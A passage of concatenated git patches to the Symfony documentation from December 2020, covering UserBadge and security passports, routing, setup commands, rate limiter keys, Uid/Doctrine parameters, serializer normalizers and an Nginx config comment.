+            return new SelfValidatingPassport(new UserBadge($apiToken));
         }
 
         public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
@@ -472,12 +465,23 @@ are supported by default:
             $apiToken
         ));
 
-.. note::
 
-    If you don't need any credentials to be checked (e.g. a JWT token), you
-    can use the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-    This class only requires a user and optionally `Passport Badges`_.
+Self Validating Passport
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+If you don't need any credentials to be checked (e.g. a JWT token), you can use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
+
+You can also pass a user loader to the ``UserBadge``. This callable receives the
+``$userIdentifier`` as argument and must return a ``UserInterface`` object
+(otherwise a ``UsernameNotFoundException`` is thrown). If this is not set, 
+the default user provider will be used with ``$userIdentifier`` as username::
+
+    // ...
+    return new SelfValidatingPassport(new UserBadge($email, function ($username) {
+        return $this->userRepository->findOneBy(['email' => $username]);
+    });
+
 
 Passport Badges
 ~~~~~~~~~~~~~~~
@@ -547,7 +551,7 @@ authenticator, you would initialize the passport like this::
     ``createAuthenticatedToken()``)::
 
         // ...
-        use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+        use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
         class LoginAuthenticator extends AbstractAuthenticator
         {
@@ -557,7 +561,7 @@ authenticator, you would initialize the passport like this::
             {
                 // ... process the request
 
-                $passport = new SelfValidatingPassport($username, []);
+                $passport = new SelfValidatingPassport(new UserBadge($username), []);
 
                 // set a custom attribute (e.g. scope)
                 $passport->setAttribute('scope', $oauthScope);

From 01cb2b0937d849aeffff344ead36626aaa93d4ea Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 8 Dec 2020 15:20:20 +0100
Subject: [PATCH 1588/7107] [#14672] Updated more docs related to the UserBadge

---
 security/experimental_authenticators.rst | 88 ++++++++++++++++--------
 1 file changed, 61 insertions(+), 27 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 2870eab1830..35aa1c9c205 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -435,23 +435,61 @@ into a security
 Security Passports
 ~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.2
+
+    The ``UserBadge`` was introduced in Symfony 5.2. Prior to 5.2, the user
+    instance was provided directly to the passport.
+
 A passport is an object that contains the user that will be authenticated as
 well as other pieces of information, like whether a password should be checked
 or if "remember me" functionality should be enabled.
 
 The default
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
-requires a user object and credentials. The following credential classes
-are supported by default:
+requires a user and credentials.
+
+Use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
+to attach the user to the passport. The ``UserBadge`` requires a user
+identifier (e.g. the username or email), which is used to load the user
+using :ref:`the user provider <security-user-providers>`::
+
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+    // ...
+    $passport = new Passport(new UserBadge($email), $credentials);
+
+.. note::
 
+    You can optionally pass a user loader as second argument to the
+    ``UserBadge``. This callable receives the ``$userIdentifier``
+    and must return a ``UserInterface`` object (otherwise a
+    ``UsernameNotFoundException`` is thrown)::
+
+        // ...
+        $passport = new Passport(
+            new UserBadge($email, function ($userIdentifier) {
+                return $this->userRepository->findOneBy(['email' => $userIdentifier]);
+            }),
+            $credentials
+        );
+
+The following credential classes are supported by default:
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
     This requires a plaintext ``$password``, which is validated using the
-    :ref:`password encoder configured for the user <security-encoding-user-password>`.
+    :ref:`password encoder configured for the user <security-encoding-user-password>`::
+
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
+
+        // ...
+        return new Passport($user, new PasswordCredentials($plaintextPassword));
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
     Allows a custom closure to check credentials::
 
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
+
         // ...
         return new Passport($user, new CustomCredentials(
             // If this function returns anything else than `true`, the credentials
@@ -467,21 +505,13 @@ are supported by default:
 
 
 Self Validating Passport
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-If you don't need any credentials to be checked (e.g. a JWT token), you can use the
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
-
-You can also pass a user loader to the ``UserBadge``. This callable receives the
-``$userIdentifier`` as argument and must return a ``UserInterface`` object
-(otherwise a ``UsernameNotFoundException`` is thrown). If this is not set, 
-the default user provider will be used with ``$userIdentifier`` as username::
-
-    // ...
-    return new SelfValidatingPassport(new UserBadge($email, function ($username) {
-        return $this->userRepository->findOneBy(['email' => $username]);
-    });
+........................
 
+If you don't need any credentials to be checked (e.g. when using API
+tokens), you can use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+This class only requires a ``UserBadge`` object and optionally `Passport
+Badges`_.
 
 Passport Badges
 ~~~~~~~~~~~~~~~
@@ -511,8 +541,13 @@ the following badges are supported:
     initiated). This skips the
     :doc:`pre-authentication user checker </security/user_checkers>`.
 
-For instance, if you want to add CSRF and password migration to your custom
-authenticator, you would initialize the passport like this::
+.. versionadded:: 5.2
+
+    Since 5.2, the ``PasswordUpgradeBadge`` is automatically added to
+    the passport if the passport has ``PasswordCredentials``.
+
+For instance, if you want to add CSRF to your custom authenticator, you
+would initialize the passport like this::
 
     // src/Service/LoginAuthenticator.php
     namespace App\Service;
@@ -520,7 +555,7 @@ authenticator, you would initialize the passport like this::
     // ...
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\PasswordUpgradeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
     use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
 
@@ -532,14 +567,13 @@ authenticator, you would initialize the passport like this::
             $username = $request->request->get('username');
             $csrfToken = $request->request->get('csrf_token');
 
-            // ... get the $user from the $username and validate no
-            // parameter is empty
+            // ... validate no parameter is empty
 
-            return new Passport($user, new PasswordCredentials($password), [
-                // $this->userRepository must implement PasswordUpgraderInterface
-                new PasswordUpgradeBadge($password, $this->userRepository),
-                new CsrfTokenBadge('login', $csrfToken),
-            ]);
+            return new Passport(
+                new UserBadge($user),
+                new PasswordCredentials($password),
+                [new CsrfTokenBadge('login', $csrfToken)]
+            );
         }
     }
 

From 1ae411bfcd845af42b14bcd61295f2851009c38b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 9 Dec 2020 11:39:05 +0100
Subject: [PATCH 1589/7107] [#14671] Added example of inline host
 defaults/requirements

---
 routing.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/routing.rst b/routing.rst
index 39cb575ed8d..bcd6daec811 100644
--- a/routing.rst
+++ b/routing.rst
@@ -790,11 +790,6 @@ concise, but it can decrease route readability when requirements are complex:
             // ...
         };
 
-.. versionadded:: 5.2
-
-    Since Symfony 5.2, inline parameter requirements are also supported in the
-    host. Before Symfony 5.2, they were supported in the path only.
-
 Optional Parameters
 ~~~~~~~~~~~~~~~~~~~
 
@@ -989,11 +984,6 @@ parameter:
     To give a ``null`` default value to any parameter, add nothing after the
     ``?`` character (e.g. ``/blog/{page?}``).
 
-.. versionadded:: 5.2
-
-    Since Symfony 5.2, inline parameter default values are also supported in
-    the host. Before Symfony 5.2, they were supported in the path only.
-
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
 
@@ -2046,6 +2036,16 @@ these routes.
             // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
         );
 
+.. tip::
+
+    You can also use the inline defaults and requirements format in the
+    ``host`` option: ``{subdomain<m|mobile>?m}.example.com``
+
+.. versionadded:: 5.2
+
+    Inline parameter default values support in hosts were introduced in
+    Symfony 5.2. Prior to Symfony 5.2, they were supported in the path only.
+
 .. _i18n-routing:
 
 Localized Routes (i18n)

From fd12a43e00a94743a2047cf4e7c15b3362fbc8be Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 3 Dec 2020 08:34:50 +0100
Subject: [PATCH 1590/7107] [Console] Update table.rst

The Symfony\Component\Console\Helper\TableStyle class doesn't have the setDefaultCrossingChars method, but there is the setCrossingChars method. The setCrossingChars method takes at least 9 parameters, so I think it would be difficult to present it in the example instead of the setDefaultCrossingChars method. In this commit, I removed all references to the method that doesn't exist.
---
 components/console/helpers/table.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index bc680cc5ad0..0e8df0d1031 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -233,7 +233,7 @@ If the built-in styles do not fit your need, define your own::
 
     // customizes the style
     $tableStyle
-        ->setDefaultCrossingChars('<fg=magenta>|</>')
+        ->setHorizontalBorderChars('<fg=magenta>|</>')
         ->setVerticalBorderChars('<fg=magenta>-</>')
         ->setDefaultCrossingChar(' ')
     ;
@@ -244,7 +244,7 @@ If the built-in styles do not fit your need, define your own::
 Here is a full list of things you can customize:
 
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setPaddingChar`
-*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChars`
+*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setHorizontalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setVerticalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setCrossingChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChar`

From 6fc13f253eda907f73ef2ededdbb77a3a3521e3f Mon Sep 17 00:00:00 2001
From: Alexander Frolov <thephilosoft@gmail.com>
Date: Wed, 9 Dec 2020 13:00:18 -0500
Subject: [PATCH 1591/7107] Update setup page for Symfony 5.2 - drop dev

Since 5.2 is already released there is no reason to point to `next` version

When merged, fixes #14663
---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 8e8f7c5610e..dbcb153dac7 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.2.x@dev" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From a741c9ce46f60e4d57e4d648d11525164956da31 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9gory=20SURACI?= <gregory.suraci@smile.fr>
Date: Wed, 9 Dec 2020 15:15:47 +0100
Subject: [PATCH 1592/7107] [Service Container] Fix Service parameters typo in
 services.yml

---
 service_container.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ff80ac27a14..a33dbdfb786 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -340,7 +340,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
     namespace App\Controller;
-    
+
     // ...
     use App\Service\SiteUpdateManager;
 
@@ -500,13 +500,14 @@ parameter and in PHP config use the ``ref`` function:
         # config/services.yaml
         services:
             App\Service\MessageGenerator:
-                # this is not a string, but a reference to a service called 'logger'
-                arguments: ['@logger']
+                arguments:
+                    # this is not a string, but a reference to a service called 'logger'
+                    - '@logger'
 
-                # if the value of a string parameter starts with '@', you need to escape
-                # it by adding another '@' so Symfony doesn't consider it a service
-                # (this will be parsed as the string '@securepassword')
-                mailer_password: '@@securepassword'
+                    # if the value of a string argument starts with '@', you need to escape
+                    # it by adding another '@' so Symfony doesn't consider it a service
+                    # the following example would be parsed as the string '@securepassword'
+                    # - '@@securepassword'
 
     .. code-block:: xml
 

From 2773a4168977aa98371a578759a78df7ae15037c Mon Sep 17 00:00:00 2001
From: Alexander Frolov <thephilosoft@gmail.com>
Date: Wed, 9 Dec 2020 13:07:12 -0500
Subject: [PATCH 1593/7107] Update setup page for Symfony 5.1 - add version

Since 5.2 is now the current version it makes sense to add version to `symfony` and `composer create-project` example commands
---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index dbcb153dac7..5ad11c5b693 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=5.1 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=5.1
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.1.*" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.1.*" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 8e39f4592c1094898a3abc50728e72c30d2509d9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 10 Dec 2020 12:39:49 +0100
Subject: [PATCH 1594/7107] Updated Composer commands to install 5.3@dev

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index dbcb153dac7..0433e8af360 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=next --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.3.x@dev' my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.3.x@dev' my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 81a020857cb1ece2e70f30752fa19a1b284b5a95 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 10 Dec 2020 15:08:44 +0100
Subject: [PATCH 1595/7107] Change order in Set-up article

---
 setup.rst | 58 +++++++++++++++++++++++++++----------------------------
 1 file changed, 29 insertions(+), 29 deletions(-)

diff --git a/setup.rst b/setup.rst
index 2f39564d40c..a93d157b371 100644
--- a/setup.rst
+++ b/setup.rst
@@ -81,6 +81,35 @@ started. In other words, your new application is ready!
     and ``<project>/var/log/``) must be writable by the web server. If you have
     any issue, read how to :doc:`set up permissions for Symfony applications </setup/file_permissions>`.
 
+.. _install-existing-app:
+
+Setting up an Existing Symfony Project
+--------------------------------------
+
+In addition to creating new Symfony projects, you will also work on projects
+already created by other developers. In that case, you only need to get the
+project code and install the dependencies with Composer. Assuming your team uses
+Git, setup your project with the following commands:
+
+.. code-block:: terminal
+
+    # clone the project to download its contents
+    $ cd projects/
+    $ git clone ...
+
+    # make Composer install the project's dependencies into vendor/
+    $ cd my-project/
+    $ composer install
+
+You'll probably also need to customize your :ref:`.env file <config-dot-env>`
+and do a few other project-specific tasks (e.g. creating a database). When
+working on a existing Symfony application for the first time, it may be useful
+to run this command which displays information about the project:
+
+.. code-block:: terminal
+
+    $ php bin/console about
+
 Running Symfony Applications
 ----------------------------
 
@@ -112,35 +141,6 @@ the server by pressing ``Ctrl+C`` from your terminal.
     The web server works with any PHP application, not only Symfony projects,
     so it's a very useful generic development tool.
 
-.. _install-existing-app:
-
-Setting up an Existing Symfony Project
---------------------------------------
-
-In addition to creating new Symfony projects, you will also work on projects
-already created by other developers. In that case, you only need to get the
-project code and install the dependencies with Composer. Assuming your team uses
-Git, setup your project with the following commands:
-
-.. code-block:: terminal
-
-    # clone the project to download its contents
-    $ cd projects/
-    $ git clone ...
-
-    # make Composer install the project's dependencies into vendor/
-    $ cd my-project/
-    $ composer install
-
-You'll probably also need to customize your :ref:`.env file <config-dot-env>`
-and do a few other project-specific tasks (e.g. creating a database). When
-working on a existing Symfony application for the first time, it may be useful
-to run this command which displays information about the project:
-
-.. code-block:: terminal
-
-    $ php bin/console about
-
 .. _symfony-flex:
 
 Installing Packages

From f7ae0fa09d5d4680b12b03cb4112912e98090133 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Fri, 11 Dec 2020 10:31:38 +0200
Subject: [PATCH 1596/7107] Fix config keys for rate limiter

The `lock` and `storage` keys have been updated to `lock_factory` and `storage_service` respectively.
---
 rate_limiter.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index f5473607fe7..403aa9c462f 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -260,8 +260,8 @@ Rate Limiter Storage and Locking
 --------------------------------
 
 Rate limiters use the default cache and locking mechanisms defined in your
-Symfony application. If you prefer to change that, use the ``lock`` and
-``storage`` options:
+Symfony application. If you prefer to change that, use the ``lock_factory`` and
+``storage_service`` options:
 
 .. code-block:: yaml
 
@@ -274,9 +274,9 @@ Symfony application. If you prefer to change that, use the ``lock`` and
                 cache_pool: 'app.redis_cache'
                 # or define a service implementing StorageInterface to use a different
                 # mechanism to store the limiter information
-                storage: 'App\RateLimiter\CustomRedisStorage'
+                storage_service: 'App\RateLimiter\CustomRedisStorage'
                 # the value is the name of any lock defined in your application
-                lock: 'app.rate_limiter_lock'
+                lock_factory: 'app.rate_limiter_lock'
 
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative

From 25e530fba5ce6cb43abbdd0e04aabc1392451e0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Dec 2020 16:02:44 +0100
Subject: [PATCH 1597/7107] Fixed code syntax of previous change

---
 mercure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9222ddc68c5..c533c07fad7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -428,9 +428,9 @@ And here is the controller::
             $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
             
             $token = $configuration->builder()
-                                    ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                                    ->getToken($configuration->signer(), $configuration->signingKey())
-                                    ->toString();
+                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
+                ->getToken($configuration->signer(), $configuration->signingKey())
+                ->toString();
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $cookie = Cookie::create('mercureAuthorization')

From f81211422a3ba96a428bdfda062e6f22b1ed043c Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Thu, 3 Dec 2020 07:25:17 +0100
Subject: [PATCH 1598/7107] Lock - replace getExpiringDate by
 getRemainingLifetime

As the method `getExpiringDate` doesn't exist, replace it by `getRemainingLifetime` which returns the remaining time to live in seconds
---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 891fdc64818..55ddcf377b3 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -196,8 +196,8 @@ to reset the TTL to its original value::
         $lock->refresh(600);
 
 This component also provides two useful methods related to expiring locks:
-``getExpiringDate()`` (which returns ``null`` or a ``\DateTimeImmutable``
-object) and ``isExpired()`` (which returns a boolean).
+``getRemainingLifetime()`` (which returns ``null`` or a ``float``
+as seconds) and ``isExpired()`` (which returns a boolean).
 
 The Owner of The Lock
 ---------------------

From 0406cc4c0b38ceb54ec1c43eb3a46c3a227ddaa8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Dec 2020 17:34:55 +0100
Subject: [PATCH 1599/7107] [Uid] Mention the Doctrine type hinting of
 UUID/ULID values

---
 components/uid.rst | 58 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 287789ac368..e5888c66b88 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -168,6 +168,35 @@ entity primary keys::
 
     The UUID types and generators were introduced in Symfony 5.2.
 
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these UUID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``uuid`` as the type
+of the UUID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'uuid' as the third argument to tell Doctrine that this is an UUID
+                ->setParameter('user', $user->getUuid(), 'uuid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUuid()->toBinary())
+            ;
+
+            // ...
+        }
+    }
+
 ULIDs
 -----
 
@@ -283,6 +312,35 @@ entity primary keys::
 
     The ULID types and generator were introduced in Symfony 5.2.
 
+When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
+knows how to convert these ULID types to build the SQL query
+(e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
+queries or building the query yourself, you'll need to set ``ulid`` as the type
+of the ULID parameters::
+
+    // src/Repository/ProductRepository.php
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
+    {
+        // ...
+
+        public function findUserProducts(User $user): array
+        {
+            $qb = $this->createQueryBuilder('p')
+                // ...
+                // add 'ulid' as the third argument to tell Doctrine that this is an ULID
+                ->setParameter('user', $user->getUlid(), 'ulid')
+
+                // alternatively, you can convert it to a value compatible with
+                // the type inferred by Doctrine
+                ->setParameter('user', $user->getUlid()->toBinary())
+            ;
+
+            // ...
+        }
+    }
+
 .. _`unique identifiers`: https://en.wikipedia.org/wiki/UID
 .. _`UUIDs`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`ULIDs`: https://github.com/ulid/spec

From 4f0ff7eaad978853b220f2956b96e6061244bf93 Mon Sep 17 00:00:00 2001
From: Adamo Crespi <adamo.crespi@gmail.com>
Date: Sat, 12 Dec 2020 13:46:23 +0100
Subject: [PATCH 1600/7107] Update normalizers.rst

It was indicated a wrong class.

The class `Symfony\Component\Serializer\Normalizer\NormalizableInterface` was not mentioned in the part that tells about how to normalize an object that implements the interface.
---
 serializer/normalizers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 002cc02a433..78cc103d763 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -36,10 +36,10 @@ Symfony includes the following normalizers but you can also
   transform :phpclass:`SplFileInfo` objects in `Data URIs`_
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
+  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for
   objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to
-  normalize form errors.
-  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
+  normalize form errors;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to

From 586503b66bbb23c27f218d0082c6b6f4b2a81e7c Mon Sep 17 00:00:00 2001
From: Volodymyr Stelmakh <volod.stelmakh@gmail.com>
Date: Sat, 12 Dec 2020 15:14:57 +0100
Subject: [PATCH 1601/7107] fix method name typo in tip

---
 components/semaphore.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index 5f26c781164..ebae3df89e8 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -76,6 +76,6 @@ already acquired.
     If you don't release the semaphore explicitly, it will be released
     automatically on instance destruction. In some cases, it can be useful to
     lock a resource across several requests. To disable the automatic release
-    behavior, set the fifth argument of the ``createLock()`` method to ``false``.
+    behavior, set the fifth argument of the ``createSemaphore()`` method to ``false``.
 
 .. _`semaphores`: https://en.wikipedia.org/wiki/Semaphore_(programming)

From f5ebf4229f7f24e371dc749fdd9b6c543ff68fab Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 13 Dec 2020 17:27:25 +0100
Subject: [PATCH 1602/7107] Update the Nginx example
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When I was looking through the Nginx configuration recipe for Symfony 4.x I discovered an important comment that isn’t included in the example in the Nginx section. I think this tip may be useful for those who create their environment using docker containers. In this PR I added the missing comment, which is taken from the recipe on this page: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/#secure-symfony-4-x.
---
 setup/web_server_configuration.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e4fef9b3d99..603a0ba3bbd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -333,6 +333,9 @@ The **minimum configuration** to get your application running under Nginx is:
             # Otherwise, PHP's OPcache may not properly detect changes to
             # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
             # for more information).
+            # Caveat: When PHP-FPM is hosted on a different machine from nginx
+            #         $realpath_root may not resolve as you expect! In this case try using
+            #         $document_root instead.
             fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
             fastcgi_param DOCUMENT_ROOT $realpath_root;
             # Prevents URIs that include the front controller. This will 404:

From 159da027be25c9013a101f723c87cbdecd50e545 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Thu, 12 Nov 2020 15:32:14 +0100
Subject: [PATCH 1603/7107] Add missing options context

---
 components/serializer.rst | 87 +++++++++++++++++++++++++++++++++------
 1 file changed, 74 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 20d31fa8c0c..b2cf03b2192 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -691,7 +691,24 @@ When serializing, you can set a callback to format a specific object property::
 Normalizers
 -----------
 
-There are several types of normalizers available:
+Normalizers turn **object** into **array** and vice versa. They implement
+::class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+for normalize (object to array) and
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface` for denormalize
+(array to object).
+
+You can add new normalizers to a Serializer instance by using its first constructor argument::
+
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $normalizers = [new ObjectNormalizer()];
+    $serializer = new Serializer($normalizers, []);
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
@@ -765,6 +782,14 @@ There are several types of normalizers available:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+.. note::
+
+    You can also create your own Normalizer to use another structure. Read more at
+    :doc:`/serializer/custom_normalizer`.
+
+All these normalizers are enabled by default when using the Serializer component
